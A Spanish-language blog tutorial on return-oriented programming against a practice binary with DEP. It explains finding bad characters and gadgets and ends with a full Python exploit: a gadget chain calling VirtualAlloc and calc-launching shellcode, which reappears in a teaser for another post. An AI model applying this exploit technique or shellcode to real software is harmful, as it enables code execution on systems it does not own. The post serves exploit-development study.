Ir al contenido principal

Iniciación a la técnica de ROP

Iniciación a la técnica de ROP

Buenas a todos,

En esta entrada vamos a resolver el binario propuesto por el maestro con la protección DEP: Que previene de ejecutar el código que introducimos en el stack si se encuentra activada esta protección del binario.
Para ver si un binario tiene la protección DEP(Data execution prevention)activa, podemos mirarlo con la herramienta ProcessExplorer tal y como vamos a ver en el siguiente ejemplo activando la columna DEP del mismo para poder comprobar si el proceso tiene o no el DEP habilitado:                               
Vemos que al ser un sistema operativo de x64, todos nuestros procesos tiene el DEP habilitado por defecto, y hemos de comprobar también si tiene alguna otra protección nuestro binario como el ASLR(Address Space Layout Randomization), encargado de aleatorizar las direcciones de la memoria virtual cuando nuestro binario es cargado en memoria virtual.
Vamos a ver todos los módulos que componen el binario (Programa + librerias(dlls)) para ver si algún módulo no tiene ASLR.
En este caso, el módulo del programa principal no tiene ASLR, por lo que las direcciones en memoria  virtual del binario serán las mismas:
Para comprobar esta protección hemos utilizado el "plugin" de x64dbg llamado checksec, que nos da infomación acerca del DEP, ASLR, SafeSEH entre otras protecciones.
Tal y como nos dice @ricardo en su tutorial estas son las cosas que hay que tener en cuenta para “ropear":

Tiene el proceso módulos que no tengan ASLR? 

No
En este caso, vemos que el módulo principal ya no tiene ASLR por lo que podremos buscar gadgets en ese módulo.
Tiene en algún modulo que no tenga ASLR importada la función VIrtualAlloc o VirtualProtect? 

No
Sí, en nuestro ejecutable hay una llamada a VirtualAlloc que reserva o asigna una región de páginas del espacio de direcciones virtuales del proceso que la invoca.
Están los datos ya ubicados en el stack para comenzar a ropear?

No
Vemos que hay una función gets() que nos permitirá meter los datos en el stack.
Puedo pasar cualquier carácter o sea no hay caracteres inválidos o hay pocos?
No
Hemos visto que tenemos los bad-character 0x0A y 0x1A


Para ver si tenemos la función VirtualAlloc en nuestro binario podemos hacer lo siguiente, haciendo “click” en Text Search, si escribimos la función tendremos las referencias donde esa función aparece en nuestro código. En la siguiente imagen mostramos como se ven:



Cuando buscamos en el ejecutable las referencias VirtualAlloc() en este caso los resultados son los siguientes:



En la tercera pregunta, sobre si tenemos los datos ubicados en el stack, vemos que la respuesta es sí. Al tener la función gets() y podemos introducir parámetros directamente en el stack, en el caso de que no fuera así deberíamos de usar ROP PIVOT (en la próximas entradas estoy seguro de que Ricardo nos pondrá a prueba con alguno de esos xD).
Si nos vamos a IDA para ver en que función está la llamada a gets() que vemos que esta justo debajo del VirtualAlloc(), y que la variable que le pasamos al gets() es buf  la cual se encuentre en la primera posición de nuestro “Stack Frame”, por lo que podremos provocar un "overflow" y modificar los valores de buf, zone, length y nada.


Para determinar los bad-characters, como hicimos en unos de los primeros ejercicios “stacks”, vamos a generar una entrada por teclado desde 0x00 hasta 0xFF y vamos a ver si en algún momento la función gets() nos bloquea alguno de los caracteres (dejando de leer).

Para ello creamos un script de Python y le pasamos como entrada al gets() la ristra completa de caracteres hexadecimales y comprobamos si se encuentran en memoria los valores introducidos.



Vemos que el primer bad carácter es : 0x0a, ya que en la dirección de memoria de buf se corta cuando llegamos a ese valor, por lo que repetimos el proceso eliminando ese carácter del payload y obtenemos así el resto de bad carácter como 0x1A




Vemos que nuestra sección del binario que no tiene ASLR que es la sección .text (donde residen las instrucciones) se encuentran entre las direcciones 0x00401000 y 0x00413000. Por lo tanto, tendremos que considerar que los gadgets que obtengan en su dirección alguno de los bad-carácter no podrán ser utilizados… (al menos de momento).

Una vez que ya tenemos en cuenta estas consideraciones, podemos comenzar a armar nuestro ROP, para la búsqueda de gadget podemos usar el programa rp-win, que nos permite la búsqueda de gadget en nuestro programa.
La forma de utilizarlo es la siguiente, al ser una aplicación de terminal hay que indicarle:
  •   Ejecutable donde queremos buscar los gadgets: ejercROPx32.exe
  •   La arquitectura que deseamos buscar: x86
  •   El tamaño de los gadgets: 4
  •  El nombre donde lo vamos a guardar: resultados.txt
Ejemplo: rp-win-x86.exe --file= ejercROPx32.exe --raw=x86 --rop=4 > resultados.txt
Esto almacena en el archivo de texto(resultados.txt) el conjunto de gadget de tamaño 4, vamos a ver ahora que es lo que queremos hacer, y buscar los gadgets necesarios dentro del archivo resultados.txt, donde tendremos las instrucciones en ensamblador y su posición en el binario.

OJO à La dirección indicada por el programa, se trata del file offset (tamaño en disco) si queremos obtener la dirección virtual, podemos aplicar la fórmula que vimos en una entrada anterior, o buscando en ida en Jumps > jumps to file offset y podemos sacar la dirección virtual.



O aplicando la formula de :

Virtual Address = File offset  - inicio de sección + dirección virtual base

Por poner un ejemplo:  si queremos obtener la posicion en la memoria del file offset= 0x4dfc

Virtual address = 0x4dfc – 0x400 + 0x401000 = 0x004059FC


La información del inicio de sección y el offset lo podemos sacar en IDA ,yéndonos a la primera instrucción de la sección .text, donde hay comentarios con esta información.



Una vez que tenemos todos los gadgets en el fichero de texto, extraídos a través de la herramienta, y con las direcciones file offset donde podemos obtener esas intrucciones del binario tal y como podemos ver en la imagen siguiente:


Antes de nada, vamos a recopilar lo que queremos hacer con nuestro exploit, y recapitular así las cosas que vamos a necesitar hacer.

  1. Función vulnerable gets() à Donde introducimos el payload y redireccionaremos a nuestros gadget.
                 
                                     
  2. Queremos ejecutar a la función VirtualAlloc para dar permisos de ejecución a la pila, para ello deberemos de llamar a la funcion con los cuatro parámetros correctos. Por lo tanto, tendremos que poner en el stack los valores que queramos usar en la función, quedando nuestra stack de la siguiente manera:

                   VirtualAlloc(lpAddress,0x1,0x1000,0x40)

    Donde lpAddress, se encuentra en el registro eax, donde tenemos el comienzo de nuestro payload (la  1 shellcode), que es una dirección del stack, sino tuveramos el valor en eax, también podríamos sacar también una dirección del stack (usando esp o ebp) para utilizarlo.
  3. Armamos nuestro ROP para conseguir la ejecución de nuestra shellcode, para ello hemos utilizado los siguientes gadgets:

                      
  4. Juntamos los 3 casos anteriores, para así construir nuestro exploit y poder ejecutar la calculadora en nuestro programa, la estructura en la pila será la siguiente:
    • 1º parte del stack, overflow de gets() y controlar el flujo del programa + rellenamos con 0x00 para evitar así llamar a la función mem_copy (hay un salto condicional por si es igual 0x00 no ejecuta la función).
    • 2ºparte, Creación de nuestro ROP para ejecutar la shellcode que escribiremos después en la pila
    • 3ºparte, Shellcode que ejecuta nuestra calculadora y le hemos añadido un exit() ( instrucción que se encuentra en nuestro programa en la dirección 0x401352) para que nuestro programa funcione no crashee al ejecutar la calculadora.
En la imagen siguiente mostramos una imagen de como tiene que estar el stack formado para poder ejecutar la calculadora:


Para terminar este sería el código en python para explotar el binario y poder así ejecutar la calculadora:

import sys
from subprocess import Popen, PIPE
import struct
import random
import string


#Tenemos el DEP activado en este ejemplo (no nos pormite la ejecucion en el stack de código.

#Generamos una cadena de hexadecimales para testear los badcharacters
import sys
for x in range(0,256):
    sys.stdout.write(
"\\x" + '{:02x}'.format(x))

payload =
b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'

shellcode_calc = b'\x33\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7'
aniadimos_exit = b'\x68\x52\x13\x40\x00\xC3'

payload = shellcode_calc
payload += (
1036 - len(shellcode_calc)) * b'\x00' #relleno con 0 para saltarnos el MemCopy

payload +=struct.pack('<I', 0x0040f2C6) #pop ecx, ret
payload +=struct.pack('<I', 0x00000000) #Asigna ecx = 0
payload +=struct.pack('<I', 0x00412130) #Mov edx, eax, xor eax,eax,and cl , 1F shl edx, cl ret
payload +=struct.pack('<I', 0x00402512) # mov edi, edx , ret
payload +=struct.pack('<I', 0x0040352D) # pop esi, ret
payload +=struct.pack('<I', 0x00413000) #IAT_address que apunta a la (direccion del VirtualAlloc)
payload +=struct.pack('<I', 0x00412649) #pop ebx , ret
payload +=struct.pack('<I', 0x00000000) #ebx = 0
payload +=struct.pack('<I', 0x004018A9) #Push edi, mov edi,[esi],test edi,edi, je XX, mov ecx, edi, call XX ,call edi, add esi, 4, cmp esi,ebx jb XXXX, pop edi, pop esi, pop ebx,ret
payload +=struct.pack('<I', 0x00000001) #dwsize
payload +=struct.pack('<I', 0x00001000) # flAllocationType = Commit
payload +=struct.pack('<I', 0x00000040) # Flprotect = +x
payload +=struct.pack('<I', 0x00000000) # edi = 0
payload +=struct.pack('<I', 0x0041A6A0) # Direccion de .data para meter en ESI para hacer valido el ultimo gadget donde hay que ecribir por eso cogemos una direccion de .idata valida
payload +=struct.pack('<I', 0x00000000) # ebx = 0
payload +=struct.pack('<I', 0x0041066F) # push esp , shl [esi+f], 56, ret

payload += shellcode_calc
payload += aniadimos_exit

#Hasta aqui

#Call esi --> Virtialalloc()

payload +=struct.pack('<I', 0x0041234A) # push esp, add esp + ebx  + ret



#nopslep


p1 = Popen(r"C:\Users\juan\Desktop\PARTE 2-20200316T191208Z-001\PARTE 2\ABO1 32 y 64 DEP pass a\Release\ejercROPx32.exe", stdin=PIPE)
print ("PID: %s" % hex(p1.pid))
print ("Enter para continuar")
p1.communicate(payload)
p1.wait()
input()


Un saludo y happy reversing en la siguiente entrada haremos un CTF con ROP para probar que tal tenemos el concepto asentado.

Comentarios

Entradas populares de este blog

Hack the Box Eat the cake!

Buenas de nuevo, retomo esto en un "ratillo" que he sacado para ir dándole un poco de contenido al blog.

Hoy nos ponemos con el resto Eat the cake! de HTB, ya que el otro día me calenté e hice un par de retos para ver lo oxidado que estaba... La verdad que bastante! 😑


El fichero os lo podéis bajar directamente de la página, cuyo SHA256:bd2efc7a1b23885d88d401b2a1fa1d4b307f6efcd76ee0a7d9486f0a8b06e586

Bueno vemos a ponernos manos a las obra, es un ejecutable por lo tanto nos iremos a nuestra máquina Windows que tenemos preparada para este tipo de retos, y abrimos el archivo con el software PEiD para ver si esta empaquetado/ofuscado, pero vamos que ya os digo que sí.



Vemos que PEiD nos dice que esta empaquetada con UPX 0.89.6 -1.02 / 1.05 - 2.90 --> Markus & Laszlo.
Intentamos desempaquetar la muestra, usando UPX directamente con "upx -d" y tras desempaquetarlo, comprobamos si se  ha hecho de manera correcta, procediendo a su ejecución y esperando a que sea co…

WinDBG- Diseño de ShellCodes

Buenas a  todos,

En este pequeño tutorial, voy a intentar explicar y mostrar con ejemplos como crear shellcode tanto en binarios de x86, y posteriormente crearé una entrada para ejemplos en binarios en x64.

Este tutorial esta basado en la parte 6 de los tutoriales  de Ricardo Narvaja de uso de herramientas de exploiting gratuitas y el tutorial de desarrollo de malware de ZeroPad, así que si os gusta las gracias a ellos.

Partimos de una shellcode que vamos a detallar, para explicar como funciona, y los componentes de la misma. Para ello hemos creado un binario donde se ejecuta únicamente esta shellcode para que nos sea mas fácil a la hora de analizarla.

winexec_calc_shellcode =b'\x33\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7'


La shellcod…